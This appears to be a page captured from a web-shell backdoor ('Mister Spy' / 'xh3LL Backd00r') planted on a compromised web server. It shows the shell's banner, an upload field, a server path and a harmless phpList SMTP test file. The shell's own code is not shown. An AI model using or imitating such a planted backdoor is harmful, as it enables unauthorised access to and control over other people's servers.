Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/tests/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/tests/sendmaildirect.php

<?php

## testing the sendMailDirect function

# print function sendMailDirect($email, $subject, $message) {

class sendmaildirect extends phplistTest {
  public $name = 'sendMailDirect';
  public $purpose = 'SMTP delivery of request for confirmation';
  

  function runtest() {
    
    ## for this test to work, we should not use the developer_email
    unset($GLOBALS["developer_email"]);
    
    print "<br/>Should be successful: ";
    ## this one should succeed
    $ok = sendMailDirect('info@phplist.com','Test','Test sending');
    if ($ok) {
      print $GLOBALS['img_tick'];
    } else {
      print $GLOBALS['img_cross'];
    }
    
    ## and this one fail
    print "<br/>Should fail: ";
    $fail = sendMailDirect('phplist.admin.invalidemail@gmail.com','Test','Test sending');
    if (!$fail) {
      print $GLOBALS['smtpError'];
      print $GLOBALS['img_tick'];
    } else {
      print $GLOBALS['img_cross'];
    }
    return $ok && !$fail;

  }
  
  
  
  
}


Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat